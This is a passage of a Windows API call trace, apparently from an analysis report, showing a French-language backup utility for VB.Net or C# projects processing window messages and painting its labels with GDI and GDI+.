(nVirtKey=16) returned 0 [0226.281] GetKeyState (nVirtKey=17) returned 0 [0226.281] GetKeyState (nVirtKey=18) returned -128 [0226.281] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x104, wParam=0x12, lParam=0x20380001) returned 0x0 [0226.281] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0226.281] IsWindowUnicode (hWnd=0x40150) returned 1 [0226.281] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0226.281] TranslateMessage (lpMsg=0x2bec18) returned 0 [0226.281] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0226.281] BeginPaint (in: hWnd=0x40150, lpPaint=0x2be724 | out: lpPaint=0x2be724) returned 0x60106b7 [0226.281] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be480 | out: lpwndpl=0x2be480) returned 1 [0226.281] GetClientRect (in: hWnd=0x40150, lpRect=0x2be42c | out: lpRect=0x2be42c) returned 1 [0226.281] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0226.281] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0226.281] GetSystemMetrics (nIndex=42) returned 0 [0226.281] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be2bc, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0226.281] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be2bc) returned 0x23 [0226.282] GetClientRect (in: hWnd=0x40150, lpRect=0x2be334 | out: lpRect=0x2be334) returned 1 [0226.282] GetCurrentObject (hdc=0x60106b7, type=0x1) returned 0x1b00017 [0226.282] GetCurrentObject (hdc=0x60106b7, type=0x2) returned 0x1900010 [0226.282] GetCurrentObject (hdc=0x60106b7, type=0x7) returned 0x2f0501e0 [0226.282] GetCurrentObject (hdc=0x60106b7, type=0x6) returned 0x18a002e [0226.282] SaveDC (hdc=0x60106b7) returned 1 [0226.282] GetNearestColor (hdc=0x60106b7, color=0xf0f0f0) returned 0xf0f0f0 [0226.282] CreateSolidBrush (color=0xf0f0f0) returned 0x241006a2 [0226.282] FillRect (hDC=0x60106b7, lprc=0x2be1d4, hbr=0x241006a2) returned 1 [0226.282] DeleteObject (ho=0x241006a2) returned 1 [0226.282] RestoreDC (hdc=0x60106b7, nSavedDC=-1) returned 1 [0226.304] SelectPalette (hdc=0x60106b7, hPal=0x300807ef, bForceBkgd=1) returned 0x188000b [0226.304] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0226.304] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0226.304] GetSystemMetrics (nIndex=42) returned 0 [0226.304] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be684, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0226.304] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be684) returned 0x23 [0226.304] SelectPalette (hdc=0x60106b7, hPal=0x188000b, bForceBkgd=0) returned 0x300807ef [0226.304] EndPaint (hWnd=0x40150, lpPaint=0x2be720) returned 1 [0226.305] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0226.305] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0226.305] IsWindowUnicode (hWnd=0x10188) returned 1 [0226.305] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0226.305] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x46, wParam=0x0, lParam=0x2beb40) returned 0x0 [0226.313] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be8f0 | out: lpwndpl=0x2be8f0) returned 1 [0226.313] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x47, wParam=0x0, lParam=0x2beb40) returned 0x0 [0226.313] GetClientRect (in: hWnd=0x40150, lpRect=0x2be8a0 | out: lpRect=0x2be8a0) returned 1 [0226.313] GetWindowRect (in: hWnd=0x40150, lpRect=0x2be8a0 | out: lpRect=0x2be8a0) returned 1 [0226.313] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x47, wParam=0x0, lParam=0x2beb40) returned 0x0 [0226.313] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0xd, wParam=0x104, lParam=0x48edb8) returned 0x0 [0226.314] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0226.316] NtdllDefWindowProc_W () returned 0x0 [0226.316] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x1c, wParam=0x0, lParam=0x568) returned 0x0 [0226.317] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x1c, wParam=0x0, lParam=0x568) returned 0x0 [0226.317] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x8, wParam=0x0, lParam=0x0) returned 0x0 [0226.317] GetCapture () returned 0x0 [0226.317] InvalidateRect (hWnd=0x1019c, lpRect=0x0, bErase=0) returned 1 [0226.317] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0226.317] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0226.317] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0226.317] TranslateMessage (lpMsg=0x2bec18) returned 0 [0226.317] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0226.317] BeginPaint (in: hWnd=0x10188, lpPaint=0x2be708 | out: lpPaint=0x2be708) returned 0x701068c [0226.317] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10188, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0226.317] SelectPalette (hdc=0x701068c, hPal=0x300807ef, bForceBkgd=1) returned 0x188000b [0226.317] CreateCompatibleDC (hdc=0x701068c) returned 0x4b0106a3 [0226.317] SelectObject (hdc=0x4b0106a3, h=0x210506ba) returned 0x185000f [0226.318] GdipCreateFromHDC (hdc=0x4b0106a3, graphics=0x2be720) returned 0x0 [0226.318] GdipTranslateWorldTransform (graphics=0x4ae5320, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0226.318] GdipSetClipRectI (graphics=0x4ae5320, x=0, y=0, width=139, height=13, combineMode=0x0) returned 0x0 [0226.318] GdipCreateMatrix (matrix=0x2be768) returned 0x0 [0226.318] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0226.318] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be780) returned 0x0 [0226.318] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd310 [0226.318] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd310) returned 0x0 [0226.318] LocalFree (hMem=0x5fd310) returned 0x0 [0226.318] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0226.318] GdipCreateRegion (region=0x2be768) returned 0x0 [0226.318] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0226.318] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be774) returned 0x0 [0226.318] GdipSaveGraphics (graphics=0x4ae5320, state=0x2be7a0) returned 0x0 [0226.318] GetWindowTextLengthW (hWnd=0x10188) returned 22 [0226.318] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10188, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x16 [0226.318] GetSystemMetrics (nIndex=42) returned 0 [0226.318] GetWindowTextW (in: hWnd=0x10188, lpString=0x2be68c, nMaxCount=23 | out: lpString="Arborescence du projet") returned 22 [0226.318] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10188, Msg=0xd, wParam=0x17, lParam=0x2be68c) returned 0x16 [0226.318] GetClientRect (in: hWnd=0x10188, lpRect=0x2be768 | out: lpRect=0x2be768) returned 1 [0226.318] GdipCreateRegion (region=0x2be5bc) returned 0x0 [0226.318] GdipGetClip (graphics=0x4ae5320, region=0x4ae5eb0) returned 0x0 [0226.319] GdipCreateMatrix (matrix=0x2be5bc) returned 0x0 [0226.319] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0226.319] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be5d4) returned 0x0 [0226.319] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd310 [0226.319] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd310) returned 0x0 [0226.319] LocalFree (hMem=0x5fd310) returned 0x0 [0226.319] GdipCombineRegionRegion (region=0x4ae5eb0, region2=0x4ae5bc0, combineMode=0x1) returned 0x0 [0226.319] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd310 [0226.319] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd310) returned 0x0 [0226.319] LocalFree (hMem=0x5fd310) returned 0x0 [0226.319] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0226.326] GdipIsInfiniteRegion (region=0x4ae5eb0, graphics=0x4ae5320, result=0x2be5fc) returned 0x0 [0226.326] GdipIsInfiniteRegion (region=0x4ae5eb0, graphics=0x4ae5320, result=0x2be5ec) returned 0x0 [0226.326] GdipGetRegionHRgn (region=0x4ae5eb0, graphics=0x4ae5320, hRgn=0x2be5ec) returned 0x0 [0226.326] GdipDeleteRegion (region=0x4ae5eb0) returned 0x0 [0226.326] GdipGetDC (graphics=0x4ae5320, hdc=0x2be604) returned 0x0 [0226.326] GetCurrentObject (hdc=0x4b0106a3, type=0x1) returned 0x1b00017 [0226.326] GetCurrentObject (hdc=0x4b0106a3, type=0x2) returned 0x1900010 [0226.326] GetCurrentObject (hdc=0x4b0106a3, type=0x7) returned 0x210506ba [0226.326] GetCurrentObject (hdc=0x4b0106a3, type=0x6) returned 0x18a002e [0226.326] SaveDC (hdc=0x4b0106a3) returned 1 [0226.326] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x34040789 [0226.326] GetClipRgn (hdc=0x4b0106a3, hrgn=0x34040789) returned 0 [0226.326] SelectClipRgn (hdc=0x4b0106a3, hrgn=0x350401eb) returned 2 [0226.326] DeleteObject (ho=0x34040789) returned 1 [0226.326] DeleteObject (ho=0x350401eb) returned 1 [0226.326] OffsetViewportOrgEx (in: hdc=0x4b0106a3, x=0, y=0, lppt=0x2548ab0 | out: lppt=0x2548ab0) returned 1 [0226.326] GetNearestColor (hdc=0x4b0106a3, color=0xf0f0f0) returned 0xf0f0f0 [0226.326] CreateSolidBrush (color=0xf0f0f0) returned 0x251006a2 [0226.326] FillRect (hDC=0x4b0106a3, lprc=0x2be608, hbr=0x251006a2) returned 1 [0226.326] DeleteObject (ho=0x251006a2) returned 1 [0226.326] RestoreDC (hdc=0x4b0106a3, nSavedDC=-1) returned 1 [0226.327] GdipReleaseDC (graphics=0x4ae5320, hdc=0x4b0106a3) returned 0x0 [0226.327] GdipRestoreGraphics (graphics=0x4ae5320, state=0xfda90dbd) returned 0x0 [0226.327] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0226.327] GetWindowTextLengthW (hWnd=0x10188) returned 22 [0226.327] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10188, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x16 [0226.327] GetSystemMetrics (nIndex=42) returned 0 [0226.327] GetWindowTextW (in: hWnd=0x10188, lpString=0x2be68c, nMaxCount=23 | out: lpString="Arborescence du projet") returned 22 [0226.327] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10188, Msg=0xd, wParam=0x17, lParam=0x2be68c) returned 0x16 [0226.327] GdipGetDC (graphics=0x4ae5320, hdc=0x2be624) returned 0x0 [0226.327] GetCurrentObject (hdc=0x4b0106a3, type=0x1) returned 0x1b00017 [0226.327] GetCurrentObject (hdc=0x4b0106a3, type=0x2) returned 0x1900010 [0226.327] GetCurrentObject (hdc=0x4b0106a3, type=0x7) returned 0x210506ba [0226.327] GetCurrentObject (hdc=0x4b0106a3, type=0x6) returned 0x18a002e [0226.327] SaveDC (hdc=0x4b0106a3) returned 1 [0226.327] GetNearestColor (hdc=0x4b0106a3, color=0x0) returned 0x0 [0226.327] RestoreDC (hdc=0x4b0106a3, nSavedDC=-1) returned 1 [0226.327] GdipReleaseDC (graphics=0x4ae5320, hdc=0x4b0106a3) returned 0x0 [0226.327] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0226.328] AdjustWindowRectEx (in: lpRect=0x2be548, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be548) returned 1 [0226.328] GdipGetTextRenderingHint (graphics=0x4ae5320, mode=0x2be5c4) returned 0x0 [0226.328] GdipGetDC (graphics=0x4ae5320, hdc=0x2be5b0) returned 0x0 [0226.328] GetCurrentObject (hdc=0x4b0106a3, type=0x1) returned 0x1b00017 [0226.328] GetCurrentObject (hdc=0x4b0106a3, type=0x2) returned 0x1900010 [0226.328] GetCurrentObject (hdc=0x4b0106a3, type=0x7) returned 0x210506ba [0226.328] GetCurrentObject (hdc=0x4b0106a3, type=0x6) returned 0x18a002e [0226.328] SaveDC (hdc=0x4b0106a3) returned 1 [0226.328] GetTextAlign (hdc=0x4b0106a3) returned 0x0 [0226.328] GetTextColor (hdc=0x4b0106a3) returned 0x0 [0226.328] GetCurrentObject (hdc=0x4b0106a3, type=0x6) returned 0x18a002e [0226.328] GetObjectW (in: h=0x18a002e, c=92, pv=0x2be2b8 | out: pv=0x2be2b8) returned 92 [0226.328] SelectObject (hdc=0x4b0106a3, h=0x90a01e9) returned 0x18a002e [0226.328] GetBkMode (hdc=0x4b0106a3) returned 2 [0226.328] SetBkMode (hdc=0x4b0106a3, mode=1) returned 2 [0226.328] DrawTextExW (in: hdc=0x4b0106a3, lpchText="Arborescence du projet", cchText=22, lprc=0x2be544, format=0x0, lpdtp=0x2548fb0 | out: lpchText="Arborescence du projet", lprc=0x2be544) returned 13 [0226.328] RestoreDC (hdc=0x4b0106a3, nSavedDC=-1) returned 1 [0226.328] GdipReleaseDC (graphics=0x4ae5320, hdc=0x4b0106a3) returned 0x0 [0226.328] GdipGetDC (graphics=0x4ae5320, hdc=0x2be760) returned 0x0 [0226.328] BitBlt (hdc=0x701068c, x=0, y=0, cx=139, cy=13, hdcSrc=0x4b0106a3, x1=0, y1=0, rop=0xcc0020) returned 1 [0226.329] GdipReleaseDC (graphics=0x4ae5320, hdc=0x4b0106a3) returned 0x0 [0226.329] SelectPalette (hdc=0x701068c, hPal=0x188000b, bForceBkgd=0) returned 0x300807ef [0226.329] SelectObject (hdc=0x4b0106a3, h=0x185000f) returned 0x210506ba [0226.329] DeleteDC (hdc=0x4b0106a3) returned 1 [0226.329] GdipDeleteGraphics (graphics=0x4ae5320) returned 0x0 [0226.329] EndPaint (hWnd=0x10188, lpPaint=0x2be704) returned 1 [0226.329] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0226.329] IsWindowUnicode (hWnd=0x1018a) returned 1 [0226.329] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0226.329] TranslateMessage (lpMsg=0x2bec18) returned 0 [0226.329] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0226.329] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x1018a, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0226.329] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x1018a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0226.332] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x1018a, Msg=0x14, wParam=0x100107ec, lParam=0x0) returned 0x1 [0226.332] SetTextColor (hdc=0x100107ec, color=0x0) returned 0x0 [0226.332] SetBkColor (hdc=0x100107ec, color=0xffffff) returned 0xffffff [0226.335] SetTextColor (hdc=0x100107ec, color=0x0) returned 0x0 [0226.335] SetBkColor (hdc=0x100107ec, color=0xffffff) returned 0xffffff [0226.337] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0226.337] IsWindowUnicode (hWnd=0x1018e) returned 1 [0226.337] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0226.337] TranslateMessage (lpMsg=0x2bec18) returned 0 [0226.337] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0226.337] BeginPaint (in: hWnd=0x1018e, lpPaint=0x2be708 | out: lpPaint=0x2be708) returned 0x60106b7 [0226.337] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1018e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0226.338] SelectPalette (hdc=0x60106b7, hPal=0x300807ef, bForceBkgd=1) returned 0x188000b [0226.338] CreateCompatibleDC (hdc=0x60106b7) returned 0x3c010735 [0226.338] SelectObject (hdc=0x3c010735, h=0x210506ba) returned 0x185000f [0226.338] GdipCreateFromHDC (hdc=0x3c010735, graphics=0x2be720) returned 0x0 [0226.338] GdipTranslateWorldTransform (graphics=0x4ae5320, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0226.338] GdipSetClipRectI (graphics=0x4ae5320, x=0, y=0, width=161, height=21, combineMode=0x0) returned 0x0 [0226.338] GdipCreateMatrix (matrix=0x2be768) returned 0x0 [0226.338] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0226.338] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be780) returned 0x0 [0226.338] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd310 [0226.338] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd310) returned 0x0 [0226.338] LocalFree (hMem=0x5fd310) returned 0x0 [0226.338] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0226.338] GdipCreateRegion (region=0x2be768) returned 0x0 [0226.338] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0226.338] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be774) returned 0x0 [0226.338] GdipSaveGraphics (graphics=0x4ae5320, state=0x2be7a0) returned 0x0 [0226.338] GetWindowTextLengthW (hWnd=0x1018e) returned 23 [0226.338] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1018e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x17 [0226.339] GetSystemMetrics (nIndex=42) returned 0 [0226.339] GetWindowTextW (in: hWnd=0x1018e, lpString=0x2be68c, nMaxCount=24 | out: lpString="Repertoire Projet 2 : ") returned 23 [0226.339] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1018e, Msg=0xd, wParam=0x18, lParam=0x2be68c) returned 0x17 [0226.339] GetClientRect (in: hWnd=0x1018e, lpRect=0x2be768 | out: lpRect=0x2be768) returned 1 [0226.339] GdipCreateRegion (region=0x2be5bc) returned 0x0 [0226.339] GdipGetClip (graphics=0x4ae5320, region=0x4ae5eb0) returned 0x0 [0226.339] GdipCreateMatrix (matrix=0x2be5bc) returned 0x0 [0226.339] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0226.339] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be5d4) returned 0x0 [0226.339] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd310 [0226.339] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd310) returned 0x0 [0226.339] LocalFree (hMem=0x5fd310) returned 0x0 [0226.339] GdipCombineRegionRegion (region=0x4ae5eb0, region2=0x4ae5bc0, combineMode=0x1) returned 0x0 [0226.339] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd310 [0226.339] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd310) returned 0x0 [0226.339] LocalFree (hMem=0x5fd310) returned 0x0 [0226.339] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0226.339] GdipIsInfiniteRegion (region=0x4ae5eb0, graphics=0x4ae5320, result=0x2be5fc) returned 0x0 [0226.339] GdipIsInfiniteRegion (region=0x4ae5eb0, graphics=0x4ae5320, result=0x2be5ec) returned 0x0 [0226.339] GdipGetRegionHRgn (region=0x4ae5eb0, graphics=0x4ae5320, hRgn=0x2be5ec) returned 0x0 [0226.339] GdipDeleteRegion (region=0x4ae5eb0) returned 0x0 [0226.339] GdipGetDC (graphics=0x4ae5320, hdc=0x2be604) returned 0x0 [0226.339] GetCurrentObject (hdc=0x3c010735, type=0x1) returned 0x1b00017 [0226.339] GetCurrentObject (hdc=0x3c010735, type=0x2) returned 0x1900010 [0226.339] GetCurrentObject (hdc=0x3c010735, type=0x7) returned 0x210506ba [0226.340] GetCurrentObject (hdc=0x3c010735, type=0x6) returned 0x18a002e [0226.340] SaveDC (hdc=0x3c010735) returned 1 [0226.340] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x360401eb [0226.340] GetClipRgn (hdc=0x3c010735, hrgn=0x360401eb) returned 0 [0226.340] SelectClipRgn (hdc=0x3c010735, hrgn=0x37040789) returned 2 [0226.340] DeleteObject (ho=0x360401eb) returned 1 [0226.340] DeleteObject (ho=0x37040789) returned 1 [0226.340] OffsetViewportOrgEx (in: hdc=0x3c010735, x=0, y=0, lppt=0x2549388 | out: lppt=0x2549388) returned 1 [0226.340] GetNearestColor (hdc=0x3c010735, color=0xc8c8c8) returned 0xc8c8c8 [0226.340] CreateSolidBrush (color=0xc8c8c8) returned 0x261006a2 [0226.340] FillRect (hDC=0x3c010735, lprc=0x2be608, hbr=0x261006a2) returned 1 [0226.340] DeleteObject (ho=0x261006a2) returned 1 [0226.340] RestoreDC (hdc=0x3c010735, nSavedDC=-1) returned 1 [0226.340] GdipReleaseDC (graphics=0x4ae5320, hdc=0x3c010735) returned 0x0 [0226.340] GdipRestoreGraphics (graphics=0x4ae5320, state=0xfda70dbd) returned 0x0 [0226.340] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0226.340] GetWindowTextLengthW (hWnd=0x1018e) returned 23 [0226.340] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1018e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x17 [0226.340] GetSystemMetrics (nIndex=42) returned 0 [0226.340] GetWindowTextW (in: hWnd=0x1018e, lpString=0x2be68c, nMaxCount=24 | out: lpString="Repertoire Projet 2 : ") returned 23 [0226.340] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1018e, Msg=0xd, wParam=0x18, lParam=0x2be68c) returned 0x17 [0226.340] GdipGetDC (graphics=0x4ae5320, hdc=0x2be624) returned 0x0 [0226.340] GetCurrentObject (hdc=0x3c010735, type=0x1) returned 0x1b00017 [0226.341] GetCurrentObject (hdc=0x3c010735, type=0x2) returned 0x1900010 [0226.341] GetCurrentObject (hdc=0x3c010735, type=0x7) returned 0x210506ba [0226.341] GetCurrentObject (hdc=0x3c010735, type=0x6) returned 0x18a002e [0226.341] SaveDC (hdc=0x3c010735) returned 1 [0226.341] GetNearestColor (hdc=0x3c010735, color=0x0) returned 0x0 [0226.341] RestoreDC (hdc=0x3c010735, nSavedDC=-1) returned 1 [0226.341] GdipReleaseDC (graphics=0x4ae5320, hdc=0x3c010735) returned 0x0 [0226.341] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0226.341] AdjustWindowRectEx (in: lpRect=0x2be548, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be548) returned 1 [0226.341] GdipGetTextRenderingHint (graphics=0x4ae5320, mode=0x2be5c4) returned 0x0 [0226.341] GdipGetDC (graphics=0x4ae5320, hdc=0x2be5b0) returned 0x0 [0226.341] GetCurrentObject (hdc=0x3c010735, type=0x1) returned 0x1b00017 [0226.341] GetCurrentObject (hdc=0x3c010735, type=0x2) returned 0x1900010 [0226.341] GetCurrentObject (hdc=0x3c010735, type=0x7) returned 0x210506ba [0226.341] GetCurrentObject (hdc=0x3c010735, type=0x6) returned 0x18a002e [0226.341] SaveDC (hdc=0x3c010735) returned 1 [0226.341] GetTextAlign (hdc=0x3c010735) returned 0x0 [0226.341] GetTextColor (hdc=0x3c010735) returned 0x0 [0226.341] GetCurrentObject (hdc=0x3c010735, type=0x6) returned 0x18a002e [0226.342] GetObjectW (in: h=0x18a002e, c=92, pv=0x2be2b8 | out: pv=0x2be2b8) returned 92 [0226.342] SelectObject (hdc=0x3c010735, h=0x90a01e9) returned 0x18a002e [0226.342] GetBkMode (hdc=0x3c010735) returned 2 [0226.342] SetBkMode (hdc=0x3c010735, mode=1) returned 2 [0226.342] DrawTextExW (in: hdc=0x3c010735, lpchText="Repertoire Projet 2 : ", cchText=23, lprc=0x2be38c, format=0x404, lpdtp=0x2549864 | out: lpchText="Repertoire Projet 2 : ", lprc=0x2be38c) returned 13 [0226.342] DrawTextExW (in: hdc=0x3c010735, lpchText="Repertoire Projet 2 : ", cchText=23, lprc=0x2be544, format=0x4, lpdtp=0x2549864 | out: lpchText="Repertoire Projet 2 : ", lprc=0x2be544) returned 13 [0226.342] RestoreDC (hdc=0x3c010735, nSavedDC=-1) returned 1 [0226.342] GdipReleaseDC (graphics=0x4ae5320, hdc=0x3c010735) returned 0x0 [0226.342] GdipGetDC (graphics=0x4ae5320, hdc=0x2be760) returned 0x0 [0226.342] BitBlt (hdc=0x60106b7, x=0, y=0, cx=161, cy=21, hdcSrc=0x3c010735, x1=0, y1=0, rop=0xcc0020) returned 1 [0226.342] GdipReleaseDC (graphics=0x4ae5320, hdc=0x3c010735) returned 0x0 [0226.342] SelectPalette (hdc=0x60106b7, hPal=0x188000b, bForceBkgd=0) returned 0x300807ef [0226.342] SelectObject (hdc=0x3c010735, h=0x185000f) returned 0x210506ba [0226.342] DeleteDC (hdc=0x3c010735) returned 1 [0226.342] GdipDeleteGraphics (graphics=0x4ae5320) returned 0x0 [0226.342] EndPaint (hWnd=0x1018e, lpPaint=0x2be704) returned 1 [0226.343] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0226.343] IsWindowUnicode (hWnd=0x10192) returned 1 [0226.343] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0226.343] TranslateMessage (lpMsg=0x2bec18) returned 0 [0226.343] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0226.343] BeginPaint (in: hWnd=0x10192, lpPaint=0x2be708 | out: lpPaint=0x2be708) returned 0x100107ec [0226.343] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10192, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0226.343] SelectPalette (hdc=0x100107ec, hPal=0x300807ef, bForceBkgd=1) returned 0x188000b [0226.343] CreateCompatibleDC (hdc=0x100107ec) returned 0x3f010735 [0226.343] SelectObject (hdc=0x3f010735, h=0x210506ba) returned 0x185000f [0226.343] GdipCreateFromHDC (hdc=0x3f010735, graphics=0x2be720) returned 0x0 [0226.343] GdipTranslateWorldTransform (graphics=0x4ae5320, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0226.343] GdipSetClipRectI (graphics=0x4ae5320, x=0, y=0, width=161, height=21, combineMode=0x0) returned 0x0 [0226.343] GdipCreateMatrix (matrix=0x2be768) returned 0x0 [0226.343] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0226.343] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be780) returned 0x0 [0226.343] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd310 [0226.344] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd310) returned 0x0 [0226.344] LocalFree (hMem=0x5fd310) returned 0x0 [0226.344] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0226.344] GdipCreateRegion (region=0x2be768) returned 0x0 [0226.344] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0226.344] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be774) returned 